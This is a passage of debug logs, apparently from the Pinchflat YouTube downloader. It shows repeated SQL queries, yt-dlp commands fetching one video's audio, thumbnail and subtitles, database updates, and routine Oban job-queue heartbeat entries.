short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [51] 16:58:32.131 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [51] 16:58:32.131 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:58:32.131 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:32.132 [debug] Running yt-dlp command for action: get_downloadable_status 16:58:32.132 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:32.132 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:32.132 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:32.132 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2a/39/2a394dea3628b02a917bdc3fdc48f835cf78ac495b942784ddf21c617699cc23.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:58:34.671 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/2a/39/2a394dea3628b02a917bdc3fdc48f835cf78ac495b942784ddf21c617699cc23.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:58:34.671 [debug] Running yt-dlp command for action: download 16:58:34.672 [debug] QUERY OK source="settings" db=0.3ms idle=808.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:34.672 [debug] QUERY OK source="settings" db=0.2ms idle=809.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:34.672 [debug] QUERY OK source="settings" db=0.1ms idle=809.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:34.673 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bf/61/bf619f49e42675bb85734a56719533fd6e11b8ff2935ca7d83b1fc2a73610fa8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:58:47.720 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --no-progress --force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-auto-subs --write-subs --convert-subs srt --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --output /downloads/Classics/Classics/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bf/61/bf619f49e42675bb85734a56719533fd6e11b8ff2935ca7d83b1fc2a73610fa8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:58:47.802 [debug] Running yt-dlp command for action: download_thumbnail 16:58:47.803 [debug] QUERY OK source="settings" db=0.1ms idle=1884.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:47.803 [debug] QUERY OK source="settings" db=0.0ms idle=1885.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:47.803 [debug] QUERY OK source="settings" db=0.0ms idle=1885.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:58:47.803 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/51/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/ad/04/ad04c1417ab2753c6c9345af99dfd9672008d9c828866e2058cf8b613f2cdb41.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:58:49.944 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=7EKCJlHjJgo --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/51/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/ad/04/ad04c1417ab2753c6c9345af99dfd9672008d9c828866e2058cf8b613f2cdb41.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 16:58:49.944 [debug] QUERY OK db=0.0ms idle=1026.7ms begin [] 16:58:49.945 [debug] QUERY OK source="media_items" db=0.7ms UPDATE "media_items" SET "media_filepath" = ?, "media_downloaded_at" = ?, "metadata_filepath" = ?, "nfo_filepath" = ?, "subtitle_filepaths" = ?, "thumbnail_filepath" = ?, "updated_at" = ? WHERE "id" = ? ["/downloads/Classics/Classics/2021-03-20Do You Remember Love? | ENGLISH VERSION | Caitlin Myers[7EKCJlHjJgo].m4a", ~U[2026-07-24 20:58:47Z], "/downloads/Classics/Classics/2021-03-20Do You Remember Love? | ENGLISH VERSION | Caitlin Myers[7EKCJlHjJgo].info.json", "/downloads/Classics/Classics/2021-03-20Do You Remember Love? | ENGLISH VERSION | Caitlin Myers[7EKCJlHjJgo].nfo", [["en", "/downloads/Classics/Classics/2021-03-20Do You Remember Love? | ENGLISH VERSION | Caitlin Myers[7EKCJlHjJgo].en.srt"]], "/downloads/Classics/Classics/2021-03-20Do You Remember Love? | ENGLISH VERSION | Caitlin Myers[7EKCJlHjJgo]-thumb.jpg", ~U[2026-07-24 20:58:49Z], 51] 16:58:49.946 [debug] QUERY OK source="media_metadata" db=0.7ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/51/metadata.json.gz", "/config/metadata/media_items/51/thumbnail.jpg", 51, ~U[2026-07-24 20:58:49Z], ~U[2026-07-24 20:58:49Z]] 16:58:50.209 [debug] QUERY OK db=263.2ms commit [] 16:58:50.389 [debug] QUERY OK source="media_items" db=179.4ms idle=1292.1ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? [nil, ~U[2026-07-24 20:58:50Z], 51] 16:58:50.554 [debug] QUERY OK source="media_items" db=163.8ms idle=1454.8ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [6357136, ~U[2026-07-24 20:58:50Z], 51] 16:58:50.554 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:58:50.718 [info] {"args":{"force":true,"id":51},"id":174,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":18425132,"event":"job:stop","queue_time":337813,"attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:58:50.982 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.394 [info] {"source":"oban","duration":205,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:59:20.984 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:50.985 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.395 [info] {"source":"oban","duration":161,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:00:20.986 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:50.987 [info] {"source":"oban","duration":557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.397 [info] {"source":"oban","duration":222,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:01:20.988 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:50.989 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.397 [info] {"source":"oban","duration":202,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:02:20.990 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:50.992 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:00.398 [info] {"source":"oban","duration":200,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:03:20.993 [info] {"source":"oban","duration":564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:03:50.994 [info] {"source":"oban","duration":754,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:00.399 [info] {"source":"oban","duration":102,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:04:20.995 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:04:50.997 [info] {"source":"oban","duration":560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:00.400 [info] {"source":"oban","duration":179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:05:20.998 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:05:51.000 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:00.402 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:06:21.002 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:51.003 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.403 [info] {"source":"oban","duration":212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:07:21.004 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:51.005 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.403 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:08:21.006 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:51.008 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.404 [info] {"source":"oban","duration":194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:09:21.009 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:51.010 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.405 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:10:21.011 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:51.012 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.407 [info] {"source":"oban","duration":221,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:11:21.013 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:51.014 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.408 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:12:21.016 [info] {"source":"oban","duration":1549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:51.017 [info] {"source":"oban","duration":878,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.408 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:13:21.019 [info] {"source":"oban","duration":847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:51.020 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.409 [info] {"source":"oban","duration":197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:14:21.021 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:51.023 [info] {"source":"oban","duration":1650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:00.411 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:15:21.024 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:15:51.025 [info] {"source":"oban","duration":916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:00.411 [info] {"source":"oban","duration":212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:16:21.027 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:16:51.028 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.413 [info] {"source":"oban","duration":231,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:17:21.029 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:51.031 [info] {"source":"oban","duration":827,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:00.413 [info] {"source":"oban","duration":215,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:18:21.033 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:18:51.034 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:00.414 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:19:21.036 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:19:51.037 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:00.415 [info] {"source":"oban","duration":202,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:20:21.039 [info] {"source":"oban","duration":1171,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:51.040 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.416 [info] {"source":"oban","duration":200,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:21:21.041 [info] {"source":"oban","duration":839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:51.042 [info] {"source":"oban","duration":741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:00.417 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:22:21.043 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:51.044 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.418 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:23:21.045 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:51.046 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:00.420 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:24:21.049 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:51.050 [info] {"source":"oban","duration":578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.420 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:25:21.051 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:51.052 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:00.422 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:26:21.053 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:26:51.054 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:00.423 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:27:21.055 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:27:51.056 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:00.424 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:28:21.058 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:28:51.059 [info] {"source":"oban","duration":529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:00.424 [info] {"source":"oban","duration":206,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:29:21.060 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:29:51.061 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:00.425 [info] {"source":"oban","duration":179,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:30:21.062 [info] {"source":"oban","duration":866,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:30:51.064 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:00.426 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:31:21.065 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:31:51.066 [info] {"source":"oban","duration":681,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:00.427 [info] {"source":"oban","duration":196,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:32:21.067 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:32:51.068 [info] {"source":"oban","duration":706,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:00.428 [info] {"source":"oban","duration":205,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:33:21.069 [info] {"source":"oban","duration":614,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:33:51.070 [info] {"source":"oban","duration":605,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:00.430 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:34:21.071 [info] {"source":"oban","duration":579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:34:51.072 [info] {"source":"oban","duration":571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:00.430 [info] {"source":"oban","duration":199,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:35:21.073 [info] {"source":"oban","duration":568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:51.074 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:35:51.666 [info] GET / 17:35:51.666 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:35:51.667 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=747.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:51.668 [debug] QUERY OK source="media_profiles" db=0.2ms idle=748.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:35:51.668 [debug] QUERY OK source="sources" db=0.2ms idle=749.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:35:51.669 [debug] QUERY OK source="media_items" db=0.4ms idle=749.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:35:51.669 [debug] QUERY OK source="media_items" db=0.3ms idle=594.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:35:51.670 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:51.670 [debug] QUERY OK source="settings" db=0.2ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:51.671 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:35:51.673 [debug] QUERY OK source="tasks" db=0.5ms idle=3.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:35:51.674 [debug] QUERY OK source="sources" db=0.4ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 17:35:51.675 [debug] QUERY OK source="media_items" db=0.5ms idle=5.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:35:51.677 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", 